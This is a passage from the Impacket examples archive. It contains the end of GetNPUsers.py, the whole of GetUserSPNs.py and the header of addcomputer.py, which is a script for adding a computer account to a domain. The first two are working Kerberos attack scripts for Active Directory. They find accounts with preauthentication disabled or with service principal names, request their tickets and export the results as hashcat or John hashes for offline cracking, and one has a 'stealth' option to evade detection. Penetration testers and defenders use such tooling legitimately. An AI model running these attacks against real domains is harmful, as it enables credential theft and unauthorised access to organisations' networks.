self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__requestTGT = cmdLineOptions.request #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost self.__kdcIP = cmdLineOptions.dc_ip self.__kdcHost = cmdLineOptions.dc_host if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') # Create the baseDN domainParts = self.__domain.split('.') self.baseDN = '' for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] def getMachineName(self, target): try: s = SMBConnection(target, target) s.login('', '') except OSError as e: if str(e).find('timed out') > 0: raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') else: raise except SessionError as e: if str(e).find('STATUS_NOT_SUPPORTED') > 0: raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') else: raise except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s' % target) else: s.logoff() return s.getServerName() @staticmethod def getUnixTime(t): t -= 116444736000000000 t /= 10000000 return t def getTGT(self, userName, requestPAC=True): clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value) asReq = AS_REQ() domain = self.__domain.upper() serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) try: r = sendReceive(message, domain, self.__kdcIP) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # RC4 not available, OK, let's ask for newer types supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),) seq_set_iter(reqBody, 'etype', supportedCiphers) message = encoder.encode(asReq) r = sendReceive(message, domain, self.__kdcIP) else: raise e # This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the # 'Do not require Kerberos preauthentication' set try: asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0] except: # Most of the times we shouldn't be here, is this a TGT? asRep = decoder.decode(r, asn1Spec=AS_REP())[0] else: # The user doesn't have UF_DONT_REQUIRE_PREAUTH set raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName) # Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it. if self.__outputFormat == 'john': # Check what type of encryption is used for the enc-part data # This will inform how the hash output needs to be formatted if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18: return '$krb5asrep$%d$%s%s$%s$%s' % (asRep['enc-part']['etype'], domain, clientName, hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode()) else: return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) # Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it. else: # Check what type of encryption is used for the enc-part data # This will inform how the hash output needs to be formatted if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18: return '$krb5asrep$%d$%s$%s$%s$%s' % (asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode()) else: return '$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain, hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(), hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode()) @staticmethod def outputTGT(entry, fd=None): print(entry) if fd is not None: fd.write(entry + '\n') def run(self): if self.__usersFile: self.request_users_file_TGTs() return if self.__kdcHost is not None: self.__target = self.__kdcHost else: if self.__kdcIP is not None: self.__target = self.__kdcIP else: self.__target = self.__domain if self.__doKerberos: logging.info('Getting machine hostname') self.__target = self.getMachineName(self.__target) # Are we asked not to supply a password? if self.__doKerberos is False and self.__no_pass is True: # Yes, just ask the TGT and exit logging.info('Getting TGT for %s' % self.__username) entry = self.getTGT(self.__username) self.outputTGT(entry, None) return # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) else: # Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled) logging.info('Cannot authenticate %s, getting its TGT' % self.__username) entry = self.getTGT(self.__username) self.outputTGT(entry, None) return # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) try: logging.debug('Search Filter=%s' % searchFilter) resp = ldapConnection.search(searchFilter=searchFilter, attributes=['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: if str(e).find('NTLMAuthNegotiate') >= 0: logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " "authentication instead.") else: if self.__kdcIP is not None and self.__kdcHost is not None: logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " "must match exactly each other") raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"]) print('\n\n') if self.__requestTGT is True: usernames = [answer[0] for answer in answers] self.request_multiple_TGTs(usernames) else: print("No entries found!") def request_users_file_TGTs(self): with open(self.__usersFile) as fi: usernames = [line.strip() for line in fi] self.request_multiple_TGTs(usernames) def request_multiple_TGTs(self, usernames): if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for username in usernames: try: entry = self.getTGT(username) self.outputTGT(entry, fd) except Exception as e: logging.error('%s' % str(e)) if fd is not None: fd.close() # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with " "'Do not require Kerberos preauthentication' set and export their TGTs for cracking") parser.add_argument('target', action='store', help='[[domain/]username[:password]]') parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them ' 'in JtR/hashcat format (default False)') parser.add_argument('-outputfile', action='store', help='Output filename to write ciphers in JtR/hashcat format') parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat', help='format to save the AS_REQ of users without pre-authentication. Default is hashcat') parser.add_argument('-usersfile', help='File with user per line to test') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) ' 'specified in the target parameter') group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' 'If ommited, the domain part (FQDN) ' 'specified in the account parameter will be used') if len(sys.argv)==1: parser.print_help() print("\nThere are a few modes for using this script") print("\n1. Get a TGT for a user:") print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass") print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, " "\notherwise a badpwdcount entry will be added to the user") print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set") print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily") print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever " "it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)") print("\n3. Request TGTs for all users") print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily") print("\n4. Request TGTs for users in a file") print("\n\tGetNPUsers.py -no-pass -usersfile users.txt contoso.com/") print("\nFor this operation you don\'t need credentials.") sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password = parse_credentials(options.target) if domain == '': logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.k is False and options.no_pass is True and username == '' and options.usersfile is None: logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!') sys.exit(1) if options.outputfile is not None: options.request = True try: executer = GetUserNoPreAuth(username, password, domain, options) executer.run() except Exception as e: logging.debug("Exception:", exc_info=True) logging.error(str(e)) impacket-impacket_0_11_0/examples/GetUserSPNs.py000077500000000000000000000647471446174712300217550ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This module will try to find Service Principal Names that are associated with normal user account. # Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request # will encrypt the ticket with the account the SPN is running under, this could be used for an offline # bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. # This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at # https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf # # Original idea of implementing this in Python belongs to @skelsec and his # https://github.com/skelsec/PyKerberoast project # # This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. # Also, disabled accounts won't be shown. # # Author: # Alberto Solino (@agsolino) # # ToDo: # [X] Add the capability for requesting TGS and output them in JtR/hashcat format # from __future__ import division from __future__ import print_function import argparse import logging import sys from datetime import datetime from binascii import hexlify, unhexlify from pyasn1.codec.der import decoder from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, \ UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION from impacket.examples import logger from impacket.examples.utils import parse_credentials from impacket.krb5 import constants from impacket.krb5.asn1 import TGS_REP from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5.types import Principal from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection, SessionError from impacket.ntlm import compute_lmhash, compute_nthash class GetUserSPNs: @staticmethod def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header print(outputFormat.format(*header)) print(' '.join(['-' * itemLen for itemLen in colLen])) # And now the rows for row in items: print(outputFormat.format(*row)) def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): self.__username = username self.__password = password self.__domain = user_domain self.__target = None self.__targetDomain = target_domain self.__lmhash = '' self.__nthash = '' self.__outputFileName = cmdLineOptions.outputfile self.__usersFile = cmdLineOptions.usersfile self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__requestTGS = cmdLineOptions.request # [!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost self.__kdcIP = cmdLineOptions.dc_ip self.__kdcHost = cmdLineOptions.dc_host self.__saveTGS = cmdLineOptions.save self.__requestUser = cmdLineOptions.request_user self.__stealth = cmdLineOptions.stealth if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') # Create the baseDN domainParts = self.__targetDomain.split('.') self.baseDN = '' for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain # because then the KDC host will be used for both # the initial and the referral ticket, which breaks stuff. if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost): logging.warning('KDC IP address and hostname will be ignored because of cross-domain targeting.') self.__kdcIP = None self.__kdcHost = None def getMachineName(self, target): try: s = SMBConnection(target, target) s.login('', '') except OSError as e: if str(e).find('timed out') > 0: raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') else: raise except SessionError as e: if str(e).find('STATUS_NOT_SUPPORTED') > 0: raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') else: raise except Exception: if s.getServerName() == '': raise Exception('Error while anonymous logging into %s' % target) else: s.logoff() return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) @staticmethod def getUnixTime(t): t -= 116444736000000000 t /= 10000000 return t def getTGT(self): domain, _, TGT, _ = CCache.parseFile(self.__domain) if TGT is not None: return TGT # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(self.__password), compute_nthash(self.__password), self.__aesKey, kdcHost=self.__kdcIP) except Exception as e: logging.debug('TGT: %s' % str(e)) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcIP) else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcIP) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 (RC4-HMAC) the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) if fd is None: print(entry) else: fd.write(entry + '\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % ( decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype'])) if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception as e: logging.error(str(e)) def run(self): if self.__usersFile: self.request_users_file_TGSs() return if self.__kdcHost is not None and self.__targetDomain == self.__domain: self.__target = self.__kdcHost else: if self.__kdcIP is not None and self.__targetDomain == self.__domain: self.__target = self.__kdcIP else: self.__target = self.__targetDomain if self.__doKerberos: logging.info('Getting machine hostname') self.__target = self.getMachineName(self.__target) # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcIP) else: if str(e).find('NTLMAuthNegotiate') >= 0: logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " "authentication instead.") else: if self.__kdcIP is not None and self.__kdcHost is not None: logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " "must match exactly each other") raise # Building the search filter filter_spn = "servicePrincipalName=*" filter_person = "objectCategory=person" filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)" searchFilter = "(&" searchFilter += "(" + filter_person + ")" searchFilter += "(" + filter_not_disabled + ")" if self.__stealth is True: logging.warning('Stealth option may cause huge memory consumption / out-of-memory errors on very large domains.') else: searchFilter += "(" + filter_spn + ")" if self.__requestUser is not None: searchFilter += '(sAMAccountName:=%s)' % self.__requestUser searchFilter += ')' try: # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000) resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], searchControls=[paged_search_control]) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: # We should never reach this code as we use paged search now logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon", "Delegation"]) print('\n\n') if self.__requestTGS is True or self.__requestUser is not None: # Let's get unique user names and a SPN to request a TGS for users = dict((vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.items(): sAMAccountName = user downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, self.__kdcIP, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (downLevelLogonName, str(e))) if fd is not None: fd.close() else: print("No entries found!") def request_users_file_TGSs(self): with open(self.__usersFile) as fi: usernames = [line.strip() for line in fi] self.request_multiple_TGSs(usernames) def request_multiple_TGSs(self, usernames): # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for username in usernames: try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_ENTERPRISE.value principalName.components = [username] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.__domain, self.__kdcIP, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, username, username, fd) except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('Principal: %s - %s' % (username, str(e))) if fd is not None: fd.close() # Process command-line arguments. if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Queries target domain for SPNs that are running " "under a user account") parser.add_argument('target', action='store', help='domain[/username[:password]]') parser.add_argument('-target-domain', action='store', help='Domain to query/request if different than the domain of the user. ' 'Allows for Kerberoasting across trusts.') parser.add_argument('-stealth', action='store_true', help='Removes the (servicePrincipalName=*) filter from the LDAP query for added stealth. ' 'May cause huge memory consumption / errors on large domains.') parser.add_argument('-usersfile', help='File with user per line to test') parser.add_argument('-request', action='store_true', default=False, help='Requests TGS for users and output them ' 'in JtR/hashcat format (default False)') parser.add_argument('-request-user', action='store', metavar='username', help='Requests TGS for the SPN associated ' 'to the user specified (just the username, no domain needed)') parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is ' '.ccache. Auto selects -request') parser.add_argument('-outputfile', action='store', help='Output filename to write ciphers in JtR/hashcat format') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) ' 'specified in the target parameter. Ignored' 'if -target-domain is specified.') group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' 'If ommited, the domain part (FQDN) ' 'specified in the account parameter will be used') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() # Init the example's logger theme logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) userDomain, username, password = parse_credentials(options.target) if userDomain == '': logging.critical('userDomain should be specified!') sys.exit(1) if options.target_domain: targetDomain = options.target_domain else: targetDomain = userDomain if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.save is True or options.outputfile is not None: options.request = True try: executer = GetUserSPNs(username, password, userDomain, targetDomain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/addcomputer.py000077500000000000000000000733021446174712300221250ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # This script will add a computer account to the domain and set its password. # Allows to use SAMR over SMB (this way is used by modern Windows computer when # adding machines through the GUI) and LDAPS. # Plain LDAP is not supported, as it doesn't allow setting the password. # # Author: # JaGoTu 